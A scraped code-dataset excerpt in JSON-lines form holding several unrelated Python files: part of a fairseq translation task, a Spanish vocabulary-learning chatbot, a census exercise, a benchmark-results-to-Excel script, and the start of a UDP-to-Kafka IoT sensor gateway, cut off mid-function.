please provide it explicitly')\n\n # load dictionaries\n src_dict = cls.load_dictionary(os.path.join(paths[0], 'dict.{}.txt'.format(args.source_lang)))\n tgt_dict = cls.load_dictionary(os.path.join(paths[0], 'dict.{}.txt'.format(args.target_lang)))\n assert src_dict.pad() == tgt_dict.pad()\n assert src_dict.eos() == tgt_dict.eos()\n assert src_dict.unk() == tgt_dict.unk()\n print('| [{}] dictionary: {} types'.format(args.source_lang, len(src_dict)))\n print('| [{}] dictionary: {} types'.format(args.target_lang, len(tgt_dict)))\n\n return cls(args, src_dict, tgt_dict)\n\n def load_dataset(self, split, epoch=0, combine=False, **kwargs):\n \"\"\"Load a given dataset split.\n\n Args:\n split (str): name of the split (e.g., train, valid, test)\n \"\"\"\n paths = self.args.data.split(':')\n assert len(paths) > 0\n data_path = paths[epoch % len(paths)]\n\n # infer langcode\n src, tgt = self.args.source_lang, self.args.target_lang\n\n #so we loaded it from the dataset\n self.datasets[split] = load_langpair_dataset(\n data_path, split, src, self.src_dict, tgt, self.tgt_dict,\n combine=combine, dataset_impl=self.args.dataset_impl,\n upsample_primary=self.args.upsample_primary,\n left_pad_source=self.args.left_pad_source,\n left_pad_target=self.args.left_pad_target,\n max_source_positions=self.args.max_source_positions,\n max_target_positions=self.args.max_target_positions,\n )\n\n # implement this method...a3ml fiha eh.-.elmafrood eh\n #ake sure that src_tokens and src_lengths\n #what deos this exactly do??? (Christine)\n def build_dataset_for_inference(self, src_tokens, src_lengths):\n return LanguagePairDataset(src_tokens, src_lengths, self.source_dictionary)\n\n #make sure we do not need to add anthing (Christine)\n # if this is what determines the batch size..so we have to control it..right? (Christine)\n def max_positions(self):\n \"\"\"Return the max sentence length allowed by the task.\"\"\"\n return (self.args.max_source_positions, self.args.max_target_positions)\n\n @property\n def source_dictionary(self):\n \"\"\"Return the source :class:`~fairseq.data.Dictionary`.\"\"\"\n return self.src_dict\n\n @property\n def target_dictionary(self):\n \"\"\"Return the target :class:`~fairseq.data.Dictionary`.\"\"\"\n return self.tgt_dict\n\n # to be implemented\n def get_batch_iterator(\n self, dataset, max_tokens=None, max_sentences=None, max_positions=None,\n ignore_invalid_inputs=False, required_batch_size_multiple=1,\n seed=1, num_shards=1, shard_id=0, num_workers=0, epoch=0,\n ):\n \"\"\"\n Get an iterator that yields batches of data from the given dataset.\n\n Args:\n dataset (~fairseq.data.FairseqDataset): dataset to batch\n max_tokens (int, optional): max number of tokens in each batch\n (default: None). (we do not use it anymore and must ensure that everywhere)\n max_sentences (int, optional): max number of sentences in each\n batch (default: None).\n max_positions (optional): max sentence length supported by the\n model (default: None). (we do not use it anymore and must ensure that everywhere)\n ignore_invalid_inputs (bool, optional): don't raise Exception for\n sentences that are too long (default: False).\n required_batch_size_multiple (int, optional): require batch size to\n be a multiple of N (default: 1).\n seed (int, optional): seed for random number generator for\n reproducibility (default: 1).\n num_shards (int, optional): shard the data iterator into N\n shards (default: 1).\n shard_id (int, optional): which shard of the data iterator to\n return (default: 0).\n num_workers (int, optional): how many subprocesses to use for data\n loading. 0 means the data will be loaded in the main process\n (default: 0).\n epoch (int, optional): the epoch to start the iterator from\n (default: 0).\n\n Returns:\n ~fairseq.iterators.EpochBatchIterator: a batched iterator over the\n given dataset split\n \"\"\"\n assert isinstance(dataset, FairseqDataset)\n\n # get indices ordered by example size\n #this should be already fixed in the dataset\n with data_utils.numpy_seed(seed):\n #will get our ordered_indices\n #will be filtering by our size\n indices = dataset.ordered_indices()\n\n # filter_by_size was removed as we believe we do not need it (Christine)(18-12-2019)\n\n # create mini-batches which has batches with given size constraints\n # it just adjusts the batch by size (works by batch_by_size implemented above)\n # should be tested later if it suits the framework(Christine)(18-12-2019)\n batch_sampler =batch_by_size(\n indices, max_sentences=max_sentences, required_batch_size_multiple=required_batch_size_multiple\n )\n\n print('batch_sampler called here?????')\n\n # batches should be here returned correctly, mini batches should be ???\n # return a reusable, sharded iterator\n return iterators.EpochBatchIterator(\n dataset=dataset,\n collate_fn=dataset.collater,\n batch_sampler=batch_sampler,\n seed=seed,\n num_shards=num_shards,\n shard_id=shard_id,\n num_workers=num_workers,\n epoch=epoch,\n )\n\n\n\n def initiate_memory(self,i, list_batches_deleted,trainer,dtype):\n print(trainer.get_model().decoder)\n if(list_batches_deleted[i]==True):\n trainer.get_model().decoder.init_mems(dtype)\n","sub_path":"models/documental_traslation_task.py","file_name":"documental_traslation_task.py","file_ext":"py","file_size_in_byte":16481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"143826895","text":"\nimport json\nimport os\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\nprint(sys.getdefaultencoding())\n\n\nfrom random import randint\nTYELLOW = '\\033[33m'\nTCYAN = '\\033[36m'\nTGREEN = '\\033[32m'\nTWHITE = '\\033[37m'\nTPURPLE = '\\033[35m'\nprint(TWHITE)\nactualPath = 0\nactual = ''\npaths = [\"/data/data/com.termux/files/home/theAI/diccionario/\", \"/home/dan/Documentos/theAI/diccionario/\"]\ndata = {}\nverbos = {}\nvacias = []\ntodos = [{\"verbo\":[{\"ser\":{}}]}]\nfrase = ''\n\ndef quienSoyYO():\n global verbos\n verb = ''\n for conj in verbos[\"ser\"][\"conjugaciones\"][TIEMPO]:\n keys = conj.keys()\n for pronombre in conj[keys[0]][\"pronombre\"]:\n if pronombre == WHOIAM:\n verb = keys[0]\n break\n quien = WHOIAM\n phrases = []\n adjetivo = \"nombre\"\n phrases.append(quien.capitalize()+\" \"+ verb+\" \"+MYNAME[\"nombre\"])\n phrases.append(MYNAME[\"posesivos\"][0]+\" \"+adjetivo+\" es \"+MYNAME[\"nombre\"])\n phrases.append(quien.capitalize()+\" \"+ verb+\" \"+MYNAME[\"nombre\"])\n phrases.append(MYNAME[\"posesivos\"][0]+\" \"+adjetivo+\" es \"+MYNAME[\"nombre\"])\n phrases.append(quien.capitalize()+\" \"+ verb+\" \"+MYNAME[\"nombre\"])\n phrases.append(MYNAME[\"posesivos\"][0]+\" \"+adjetivo+\" es \"+MYNAME[\"nombre\"])\n phrases.append(quien.capitalize()+\" \"+ verb+\" \"+MYNAME[\"nombre\"])\n phrases.append(MYNAME[\"posesivos\"][0]+\" \"+adjetivo+\" es \"+MYNAME[\"nombre\"])\n response = phrases[randint(0, 7)]\n return response\n\npronombre = [[\"yo\"], [\"tu\"],[\"el\", \"ella\", \"la\", \"usted\"],[\"nosotros\"],[\"vosotros\"],[\"ellos\", \"ellas\", \"los\", \"las\" , \"ustedes\"]]\ntiempos = [\"presente\", \"preterito\", \"imperfecto\", \"futuro\"]\nWHOIAM = pronombre[0][0]\nMYNAME = {\n \"nombre\": \"Margarita\",\n \"pronombre\": WHOIAM,\n \"posesivos\": [\"mi\", \"mis\", \"mios\", \"mias\"]\n}\nTIEMPO = tiempos[0]\n\ndef saveInJSON():\n global data\n global actualPath\n f = open(paths[actualPath]+actual+\".json\", \"w\")\n f.write(json.dumps(data))\n f.close()\n os.system('clear')\n leerJson()\n\n\ndef reload():\n del metodo\n leerJson()\n\nclass abrirMetodo(object):\n\n\n def abrir(self, tipo):\n global data\n method_name = tipo\n method = getattr(self, method_name,lambda: 'Invalid')\n return method()\n\n def init(self):\n global data\n global actual\n global input\n global actual\n\n print('')\n self.input = input\n self.tipo = actual\n return self.abrir(self.tipo)\n\n def nuevaPalabra(self):\n global data\n print(TCYAN + 'Este verbo es nuevo para mi, ( O.O) ??')\n significado = [raw_input(TCYAN+\"Dime, Que significa?: \"+TWHITE).decode('utf-8')]\n tiempo = raw_input(TCYAN +\"En que tiempo ocurre?: \"+TWHITE)\n conjugacion = raw_input(TCYAN +\"Como se conjuga en \"+tiempo+\"? : \"+TWHITE).split(\" \")\n\n\n main_node = {\n self.input: {\n \"conjugaciones\":{\n tiempo: []\n },\n \"significado\": significado\n }\n }\n pos = 0\n for per in pronombre:\n node = {\n conjugacion[pos] : {\n \"pronombre\": per\n }\n }\n main_node[self.input]['conjugaciones'][tiempo].append(node)\n pos = pos + 1\n\n data[self.input] = main_node[self.input]\n si = raw_input(\"quieres grabar estos datos? [S/n]\")\n\n if si == \"s\":\n saveInJSON()\n\n def verbo(self):\n global data\n try:\n if data[self.input]['conjugaciones'] != None:\n tiempo = raw_input(\"En que tiempo ocurre?: \")\n conjugacion = raw_input(\"Como se conjuga en \"+tiempo+\"? : \").split(\" \")\n pos = 0\n print('leyendo pronombres')\n verbs = []\n for per in pronombre:\n\n node = {\n conjugacion[pos] : {\n \"pronombre\": per\n }\n }\n node = json.dumps(node)\n node = json.loads(node)\n verbs.append(node)\n pos = pos + 1\n data[self.input]['conjugaciones'][tiempo] = verbs\n for t in data[self.input]['conjugaciones'][tiempo]:\n print(t)\n ask = raw_input(\"quieres grabar estos datos? [S/n]\")\n if ask == \"s\":\n saveInJSON()\n else:\n self.nuevaPalabra()\n\n\n\n\n except Exception as e:\n print('Dato inexistente: ', e)\n txt = raw_input(TYELLOW+'No conozco esta palabra...?, la agrego a mi memoria?: [S/n]'+TWHITE)\n if txt=='s':\n self.nuevaPalabra()\n\n def sustantivo(self):\n global data\n global actual\n try:\n if data[self.input][\"clasificacion\"] != None:\n print(data[self.input])\n except Exception as e:\n print(TCYAN+\"Este \"+actual+\" es nuevo para mi\")\n req = raw_input(TYELLOW+\"quieres agregar esta palabra? [S/n]\")\n if req=='s':\n sig = raw_input(TCYAN+\"que es?: \"+TWHITE)\n clas = raw_input(TCYAN+\"como se clasifica: \"+TWHITE).split(' ')\n plu = raw_input(TCYAN+\"como se dice en plural: \"+TWHITE).split(' ')\n gen = raw_input(TCYAN+\"como se le llama a su media naranja? -[Genero]-: \"+TWHITE).split(' ')\n list = [sig]\n node = {\n \"clasificacion\": clas,\n \"plural\": plu,\n \"g_contrario\": gen,\n \"significado\": list\n }\n node = json.dumps(node)\n node = json.loads(node)\n data[self.input] = node\n\n\n saveInJSON()\n\n\n elif req == 'n':\n print('no')\n\n def adjetivo(self):\n global data\n try:\n if data[self.input]['apocope'] != None:\n print(data[self.input])\n\n except Exception as e:\n txt = raw_input(TYELLOW+'No conozco esta palabra...?, la agrego a mi memoria?: [S/n]'+TWHITE)\n if txt=='s':\n clas = raw_input('Como de clasifica: ').split(' ')\n apo = raw_input('Cual es su apocope: ').split(' ')\n plu = raw_input('Como es en plural: ').split(' ')\n node = {\n \"clasificacion\": clas,\n \"plural\": plu,\n \"apocope\": apo\n }\n data[input] = node\n saveInJSON()\n print(data)\n\n\n\n\ndef procesarTexto(text_input):\n global todos\n global verbos\n global frase\n frase = text_input\n print(TWHITE+\"input: \")\n print(frase)\n #Procesar vacias\n phrase = []\n phrase_bit = []\n pos = 0\n # Asignando vacias\n\n\n for word in text_input.split(' '):\n word = dec(json.loads(json.dumps(word)))\n node = {\n word:{\n \"categoria\":[\"ninguno\"]\n }\n }\n phrase_bit.append(node)\n for vacia in todos[2][\"vacias\"]:\n if dec(vacia)==word:\n phrase_bit.pop(len(phrase_bit)-1)\n phrase.append(phrase_bit)\n phrase_bit = []\n vac_node = {\n word:{\n \"categoria\":[\"vacias\"]\n }\n }\n\n\n phrase_bit.append(vac_node)\n if pos == len(text_input.split(' '))-1:\n phrase.append(phrase_bit)\n else:\n pos = pos +1\n\n #Ajustando cambios\n newPhrase = []\n\n for bit in phrase:\n if len(bit)>0:\n new_bit = []\n for word in bit:\n ls = word.keys()[0]\n cat = ['ninguno']\n if word[word.keys()[0]]['categoria'][0] !='ninguno':\n cat = word[word.keys()[0]]['categoria']\n ls = ls.split(',')\n for doub in ls:\n node = {\n doub:{\n \"categoria\":cat\n }\n }\n\n new_bit.append(node)\n newPhrase.append(new_bit)\n final = TGREEN+''\n for line in json.loads(json.dumps(newPhrase)):\n for word in line:\n final = final + str(word)\n final = final + ' '\n\n final = final+TWHITE\n\n req = raw_input('Quieres categorizar:[S/n]: ')\n #categorizar TOKENIZE\n if req == 's':\n l_pos = 0\n for line in newPhrase:\n\n w_pos = 0\n for word in line:\n tokenized = tokenize(word[word.keys()[0]], word.keys()[0].replace('\"', ''))\n newPhrase[l_pos][w_pos] == tokenized\n w_pos = w_pos +1\n l_pos = l_pos+1\n\n\n #print some result\n for line in newPhrase:\n txt = TGREEN+''\n for word in line:\n txt = txt+ word.keys()[0]+' '\n print(word.keys()[0]+' : '+TCYAN+word[word.keys()[0]][\"categoria\"][0]+TWHITE)\n print(txt+TWHITE)\n\n\n for line in newPhrase:\n\n for word in line:\n #if word[word.keys()[0]]['categoria'][0]=='verbo':\n # if 'pronombre' in word[word.keys()[0]]['meta']:\n # response = response + word[word.keys()[0]]['meta']['pronombre'][0]\n # response = response +' '\n # for w in line:\n # response = response + w.keys()[0].replace('\"', '')\n # response = response +' '\n\n if word[word.keys()[0]][\"categoria\"][0]=='ninguno':\n\n a, b = gerundio(word.keys()[0].replace('\"', ''))\n newPalabra(word.keys()[0].replace('\"', ''))\n elif word[word.keys()[0]][\"categoria\"][0]=='ind_verbo':\n a, b = gerundio(word.keys()[0].replace('\"', ''))\n newPalabra(b)\n\n\ndef tokenize(node, word):\n global todos\n\n\n\n if node[\"categoria\"][0]=='ninguno':\n\n for verb in todos[0][\"verbo\"]:\n if word==verb.keys()[0].replace('\"', ''):\n node[\"categoria\"][0] = 'verbo'\n nd = {}\n nd[\"tiempo\"] = 'indefinido'\n node[\"meta\"] = nd\n\n else:\n for time in verb[verb.keys()[0]]['conjugaciones']:\n for conj in verb[verb.keys()[0]]['conjugaciones'][time]:\n\n if conj.keys()[0]== word:\n node[\"categoria\"][0] = 'verbo'\n nd = conj[conj.keys()[0]]\n nd[\"tiempo\"] = json.loads(json.dumps(time))\n node[\"meta\"] = nd\n\n\n\n if node[\"categoria\"][0]=='ninguno':\n w = word.replace('\"', '')\n if len(w)>5:\n retrade, fin = gerundio(w)\n\n if retrade:\n for ver in todos[0][\"verbo\"]:\n if fin==ver.keys()[0].replace('\"', ''):\n node[\"categoria\"][0] = 'verbo'\n nd = {}\n nd[\"tiempo\"] = 'indefinido'\n node[\"meta\"] = nd\n\n else:\n node[\"categoria\"][0] = 'ind_verbo'\n\n if node[\"categoria\"][0]=='ninguno':\n\n for sus in todos[1][\"sustantivo\"]:\n if sus.keys()[0] == word:\n node[\"categoria\"][0] = 'sustantivo'\n\n node[\"meta\"] = sus[sus.keys()[0]]\n if node[\"categoria\"][0]=='ninguno':\n\n for adj in todos[3]['adjetivo']:\n adj_it = todos[3]['adjetivo'][adj]\n if adj == word:\n node[\"categoria\"][0] = 'adjetivo'\n node[\"meta\"] = adj_it\n\n else:\n\n\n for apo in adj_it[\"apocope\"]:\n\n if str(apo)==word:\n node[\"categoria\"][0] = 'adjetivo'\n node[\"meta\"] = adj_it\n\n if node[\"categoria\"][0]=='ninguno':\n\n for plu in adj_it['plural']:\n\n if str(plu)==word:\n node[\"categoria\"][0] = 'adjetivo'\n node[\"meta\"] = adj_it\n \n return {word:node}\n\ndef gerundio(w):\n arr = list(w)\n newArr = []\n left = 3\n for x in range(3):\n newArr.append(arr[len(arr)-left])\n left = left - 1\n\n\n\n comp = ''.join(newArr)\n retrade = False\n fin = ''\n if comp=='ndo':\n retrade = True\n newArr = []\n left = 3\n for x in range(len(arr)-left):\n newArr.append(arr[x])\n newArr.append('r')\n fin = ''.join(newArr)\n fin = list(fin)\n\n if fin[1]=='i'and fin[len(fin)-2]=='e':\n fin[1] = 'e'\n fin[len(fin)-2]='i'\n del fin[len(fin)-3]\n elif fin[1]=='u'and fin[len(fin)-2]=='e':\n if fin[len(fin)-4]=='g':\n f = 2\n elif fin[len(fin)-4]=='u':\n f = 2\n else:\n fin[1] = 'o'\n\n fin[len(fin)-3]='i'\n del fin[len(fin)-2]\n elif fin[1]=='u'and fin[len(fin)-2]=='i':\n if fin[len(fin)-4]=='g':\n f = 2\n elif fin[len(fin)-4]=='u':\n f = 2\n else:\n fin[1] = 'o'\n elif fin[1]=='o'and fin[len(fin)-2]=='e':\n del fin[len(fin)-3]\n\n elif fin[1]=='i'and fin[len(fin)-2]=='i':\n fin[1] = 'e'\n fin = ''.join(fin)\n\n\n elif comp=='ose':\n retrade = True\n newArr = []\n left = 3\n for x in range(len(arr)-left):\n newArr.append(arr[x])\n newArr.append('r')\n fin = ''.join(newArr)\n fin = list(fin)\n lef = 4\n for x in range(3):\n if fin[len(fin)-lef] != 'a':\n del fin[len(fin)-lef]\n lef = lef -1\n\n\n if fin[1]=='i'and fin[len(fin)-2]=='e':\n\n fin[1] = 'e'\n fin[len(fin)-2]='i'\n elif fin[1]=='i'and fin[len(fin)-2]=='i':\n\n fin[1] = 'e'\n fin[len(fin)-2]='i'\n elif fin[1]=='o'and fin[len(fin)-2]=='i':\n fin[len(fin)-2]='e'\n elif fin[1]=='u'and fin[len(fin)-2]=='i':\n if fin[len(fin)-3]=='g':\n f = 2\n elif fin[len(fin)-3]=='u':\n f = 2\n else:\n fin[1] = 'o'\n\n\n\n\n fin = ''.join(fin)\n\n elif comp=='ote':\n n = 0\n return retrade,fin\n\n\n\n\n\n\n\n\ndef newPalabra(palabra):\n global data\n global actualPath\n global actual\n global input\n global todos\n input = palabra\n print(TGREEN+palabra)\n actual = raw_input(TYELLOW+\"Que tipo de palabra es?: \"+TWHITE)\n if actual =='verbo':\n input = raw_input(TYELLOW+\"Como es sin conjugar?: \"+TWHITE)\n\n\n with open(paths[actualPath]+actual+'.json') as file:\n data = {}\n data = json.load(file)\n j = json.dumps(data)\n data = json.loads(j)\n metodo = abrirMetodo()\n metodo.init()\n\n\n\n\n\ndef dec(string):\n\n arr = [{\"\\xc3\\xa1\":\"a\"},{\"\\xc3\\xa9\":\"e\"},{\"\\xc3\\xad\":\"i\"},{\"\\xc3\\xb3\": \"o\"},{\"\\xc3\\xba\":\"u\"},{\"\\xc3\\xb1\":\"n\"},{\"\\xc2\\xbf\":\"QUESTION,\"}]\n newStr = list(string)\n pos = 0\n for strr in newStr:\n\n for comp in json.loads(json.dumps(arr)):\n if comp.keys()[0].encode('utf8') == strr.encode('utf8'):\n newStr[pos] = comp[comp.keys()[0]]\n pos = pos +1\n\n\n\n return json.dumps(''.join(newStr)).lower().replace('\"', '')\n\ndef leerJson():\n global data\n global actualPath\n global actual\n global input\n global todos\n print(TYELLOW+quienSoyYO())\n print('')\n if frase == '':\n input = raw_input(\"Dime una palabra: \"+TWHITE)\n else:\n input = 'qh'\n\n if input=='qh':\n todos = []\n chat = raw_input(TYELLOW+\"ingresa el texto: \"+TWHITE)\n with open(paths[actualPath]+\"verbo\"+'.json') as ver:\n ve = json.loads(json.dumps(json.load(ver)))\n n_list_ve = []\n for ve_key in ve.keys():\n n_list_ve.append({ ve_key: ve[ve_key]})\n\n node_ve = {\n \"verbo\": n_list_ve\n }\n\n todos.append(node_ve)\n\n\n with open(paths[actualPath]+\"sustantivo\"+'.json') as sus:\n su = json.loads(json.dumps(json.load(sus)))\n n_list_su = []\n for su_key in su.keys():\n n_list_su.append({ su_key: su[su_key]})\n\n node_su = {\n \"sustantivo\": n_list_su\n }\n todos.append(node_su)\n\n with open(paths[actualPath]+\"vacias\"+'.json') as vac:\n va = json.loads(json.dumps(json.load(vac)))\n node_va = {\n \"vacias\": va\n }\n todos.append(node_va)\n with open(paths[actualPath]+\"adjetivo\"+'.json') as adj:\n ad = json.loads(json.dumps(json.load(adj)))\n node_ad = {\n \"adjetivo\": ad\n }\n todos.append(node_ad)\n procesarTexto(chat)\n\n\n\n\n\n else:\n if frase != '':\n\n todos = []\n\n with open(paths[actualPath]+\"verbo\"+'.json') as ver:\n ve = json.loads(json.dumps(json.load(ver)))\n n_list_ve = []\n for ve_key in ve.keys():\n n_list_ve.append({ ve_key: ve[ve_key]})\n\n node_ve = {\n \"verbo\": n_list_ve\n }\n\n todos.append(node_ve)\n\n\n with open(paths[actualPath]+\"sustantivo\"+'.json') as sus:\n su = json.loads(json.dumps(json.load(sus)))\n n_list_su = []\n for su_key in su.keys():\n n_list_su.append({ su_key: su[su_key]})\n\n node_su = {\n \"sustantivo\": n_list_su\n }\n todos.append(node_su)\n\n with open(paths[actualPath]+\"vacias\"+'.json') as vac:\n va = json.loads(json.dumps(json.load(vac)))\n node_va = {\n \"vacias\": va\n }\n todos.append(node_va)\n with open(paths[actualPath]+\"adjetivo\"+'.json') as adj:\n ad = json.loads(json.dumps(json.load(adj)))\n node_ad = {\n \"adjetivo\": ad\n }\n todos.append(node_ad)\n procesarTexto(frase)\n else:\n actual = raw_input(TYELLOW+\"Que tipo de palabra es?: \"+TWHITE)\n with open(paths[actualPath]+actual+'.json') as file:\n data = json.load(file)\n j = json.dumps(data)\n data = json.loads(j)\n metodo = abrirMetodo()\n metodo.init()\n\n\n\n\n\n\ndef getVerbos():\n global verbos\n global actualPath\n global vacias\n\n try:\n with open(paths[0]+\"verbo\"+'.json') as file:\n with open(paths[0]+\"vacias\"+'.json') as file2:\n vacias = json.load(file2)\n vacias = json.dumps(vacias)\n vacias = json.loads(vacias)\n actualPath = 0\n verbos = json.load(file)\n j = json.dumps(verbos)\n verbos = json.loads(j)\n leerJson()\n\n except Exception as e:\n print('abriendo otra ruta.....')\n with open(paths[1]+\"verbo\"+'.json') as file:\n with open(paths[1]+\"vacias\"+'.json') as file2:\n vacias = json.load(file2)\n vacias = json.dumps(vacias)\n vacias = json.loads(vacias)\n actualPath = 1\n verbos = json.load(file)\n j = json.dumps(verbos)\n verbos = json.loads(j)\n leerJson()\n\ngetVerbos()\n","sub_path":"diccionario/margarita.py","file_name":"margarita.py","file_ext":"py","file_size_in_byte":20464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"577141530","text":"censo = []\npessoa = {}\ncont, media = 0, 0\n\nwhile True:\n pessoa['nome'] = input('Digite seu nome: ')\n pessoa['sexo'] = input('Digite seu sexo [M/F/O]: ')\n while pessoa['sexo'] not in 'MmFfOo':\n pessoa['sexo'] = input('Sexo Inválido! Digite novamente: [M/F/O] ')\n pessoa['idade'] = int(input('Digite sua idade: '))\n\n censo.append(pessoa.copy())\n cont += 1\n esc = input('Quer continuar? [S/N]: ')\n while esc not in 'SsNn':\n print('ERRO! Responda apenas S ou N.')\n esc = input('Quer continuar? [S/N]: ')\n if esc in 'Nn':\n break\n\nfor c in censo:\n media += c['idade']\nmedia /= cont\nprint('-='*40)\nprint(f'A) Foram cadastradas {cont} pessoas')\nprint(f'B) A média da idade do grupo é {media} anos')\nprint('C) As mulheres cadastradas foram: ', end='')\nfor c in censo:\n if c['sexo'] in 'Ff':\n print(c['nome'], end=' ')\nprint('\\nLista das pessoas que estão acima da média de idade: \\n')\nfor c in censo:\n if c['idade'] > media:\n print(f'nome = {c[\"nome\"]}; sexo = {c[\"sexo\"]}; idade = {c[\"idade\"]}')\nprint('-=' * 40)\nprint(f'{\"<<>>\":^80}')\n","sub_path":"Exercícios em Python/PythonExercícios/ex094.py","file_name":"ex094.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"144928674","text":"import sys\nimport csv\nimport xlsxwriter\nimport argparse\n\ndef create_excel(results_dir):\n\tmodels = [\"cnn\", \"deepinterest\", \"maskrcnn\", \"nmt\", \"ssd\"]\n\n\twb = xlsxwriter.Workbook(results_dir + \"/results_train.xlsx\")\n\tfor model in models:\n\t\tws = wb.add_worksheet(model)\n\t\twith open(results_dir + \"/results_\" + model + \"_train.csv\") as csvfile:\n\t\t\ttable = csv.reader(csvfile)\n\t\t\ti = 0\n\t\t\tfor row in table:\n\t\t\t\tws.write_row(i, 0, row)\n\t\t\t\ti += 1\n\twb.close()\n\n\twb = xlsxwriter.Workbook(results_dir + \"/results_infer.xlsx\")\n\tfor model in models:\n\t\tws = wb.add_worksheet(model)\n\t\twith open(results_dir + \"/results_\" + model + \"_infer.csv\") as csvfile:\n\t\t\ttable = csv.reader(csvfile)\n\t\t\ti = 0\n\t\t\tfor row in table:\n\t\t\t\tws.write_row(i, 0, row)\n\t\t\t\ti += 1\n\twb.close()\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--results_dir\", default=\"results\", help=\"location of results\" )\n\targs = parser.parse_args()\n\tcreate_excel(args.results_dir)\n","sub_path":"macro_benchmark/process_results.py","file_name":"process_results.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475782759","text":"import socket \nimport ipaddress\nimport threading\nimport sys\nimport json\nimport sys\nfrom confluent_kafka import Producer, Consumer, KafkaError\n\n#There is only one thread running for the consumer\n#Producer is running on the main thread.\n\n# Steps:\n# 1. Sensors will register by communicating to gateway.\n# Sensors communicate with gateway via socket programming[TCP or UDP]?\n# Sensors will provide metadata(ip, port included in metadata).\n# Each sensor's unique ID will be \"Sensor's IP:Sensor's port\".\n# 2. Gateway's responsibility is to publish this meta_data to the sensor's topic.\n# Sensor's topic will be \"Sensor's IP:Sensor's port\"\n# 3. Infrastructure will communicate to gateway via gateway topic.\n# Gateway's topic will be \"Gateway's IP\"\n\nclass Gateway:\n\n def create_producer(self):\n p = Producer({'bootstrap.servers': self.kafka_port})\n return p\n\n def create_consumer(self):\n c = Consumer({'bootstrap.servers': self.kafka_port, 'group.id': '1', 'auto.offset.reset': 'earliest'})\n return c\n\n def start_kafka(self):\n p = self.create_producer()\n c = self.create_consumer()\n return p, c\n\n def get_gateway_dict(self):\n gateway_dict = {}\n gateway_dict[\"ip\"] = self.gateway_ip\n gateway_dict[\"domain\"] = self.gateway_domain_name\n return gateway_dict\n\n def __init__(self, gateway_domain_name = \"default\", port = 6745, config = \"Configs/platform_configs.json\"):\n \n with open(config, 'r') as fp:\n configs = json.load(fp)\n\n # ***************UDP****************************\n #hostname = socket.gethostname()\n #self.gateway_ip = socket.gethostbyname(hostname)\n self.gateway_ip = \"0.0.0.0\"\n self.gateway_port = port\n self.gateway_domain_name = gateway_domain_name\n self.gateway_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.gateway_sock.bind((self.gateway_ip, self.gateway_port))\n self.gateway_dict = self.get_gateway_dict()\n self.sensor_manager_topic = configs['sensor_manager_topic']\n\n # **************Kafka***************************\n\n self.consumer_status = True\n self.gateway_topic_name = str(self.gateway_domain_name)\n self.kafka_port = configs['kafka_host']\n self.p, self.c = self.start_kafka()\n\n # *********************************************************************************************\n \n def get_sensor_id(self, sensor_ip, sensor_port):\n sensor_id = sensor_ip + \"_\" + str(sensor_port)\n return sensor_id\n \n # ****************************Kafka functions**************************************************\n\n def kafka_send_message(self, recipient_topic_name, message):\n self.p.produce(recipient_topic_name, message.encode('utf-8'))\n self.p.poll(0)\n \n def kafka_receive_message(self, consumer_topic_name):\n self.c.subscribe([consumer_topic_name])\n msg = self.c.poll(0.01)\n if msg is not None:\n msg = msg.value().decode('utf-8')\n return msg\n \n def add_info_to_metadata(self, sensor_metadata_dict, sensor_id):\n sensor_metadata_dict[\"content\"][\"ip_port\"] = sensor_id\n sensor_metadata_dict[\"content\"][\"gateway\"] = self.gateway_dict\n updated_sensor_metadata = json.dumps(sensor_metadata_dict)\n return updated_sensor_metadata\n \n def publish_to_sensor_manager(self, sensor_metadata_dict, sensor_id):\n updated_sensor_metadata = self.add_info_to_metadata(sensor_metadata_dict, sensor_id)\n #print(updated_sensor_metadata)\n self.kafka_send_message(self.sensor_manager_topic, updated_sensor_metadata)\n \n def publish_to_sensor_topic(self, sensor_data, sensor_topic):\n #print(\"sensor_topic\", sensor_topic)\n self.kafka_send_message(sensor_topic, sensor_data)\n \n # ****************************Kafka functions**************************************************\n\n\n\n # ****************************UDP functions**************************************************\n\n def udp_receive_data(self):\n data, addr = self.gateway_sock.recvfrom(1024)\n message = data.decode()\n sensor_ip = addr[0]\n sensor_port = addr[1]\n return message, sensor_ip, sensor_port\n\n def udp_send_data(self, recipient_ip_address, recipient_port, Message):\n self.gateway_sock.sendto(Message.encode(), (recipient_ip_address, recipient_port))\n\n def receive_from_sensor(self):\n while True:\n sensor_data, sensor_ip, sensor_port = self.udp_receive_data()\n #print(sensor_data, sensor_ip, sensor_port)\n sensor_id = self.get_sensor_id(sensor_ip, sensor_port)\n sensor_topic = \"_\".join(sensor_id.split('.'))\n sensor_metadata_dictionary = json.loads(sensor_data)\n message_type = sensor_metadata_dictionary[\"type\"]\n \n if(message_type == \"new_sensor\"):\n self.publish_to_sensor_manager(sensor_metadata_dictionary, sensor_id)\n else:\n self.publish_to_sensor_topic(json.dumps(sensor_metadata_dictionary['content']), sensor_topic)\n\n\n def send_to_sensor(self, sensor_ip_address, sensor_port, Message):\n self.udp_send_data(sensor_ip_address, sensor_port, Message)\n\n # ****************************UDP functions**************************************************\n\n\n\n # **********************Sensor -> Gateway -> Infrastructure(Sensor's Topic)********************\n\n def sensor_gateway_recv_thread_init(self):\n self.receive_from_sensor()\n\n def start_sensor_gateway_recv_thread(self):\n t1 = threading.Thread(target=self.sensor_gateway_recv_thread_init, args=())\n t1.start()\n return t1 \n\n # **********************Sensor -> Gateway -> Infrastructure(Sensor's Topic)********************\n\n# Gateway_topic data format:\n# {\n# \"ip_port\": self.ip_port,\n# \"action\": action,\n# \"value\": str(value)\n# }\n\ndef extract_ip_port(sensor_ip_port):\n sensor_ip_port = sensor_ip_port.split('_')\n sensor_ip = sensor_ip_port[0]\n sensor_port = sensor_ip_port[1]\n return sensor_ip, int(sensor_port)\n\ndef get_gateway_info():\n domain = \"default\"\n port = 6745\n try:\n domain = sys.argv[1]\n port = int(sys.argv[2])\n except:\n pass\n return domain, port\n\ndef main():\n \n domain, port = get_gateway_info()\n g = Gateway(domain, port)\n\n 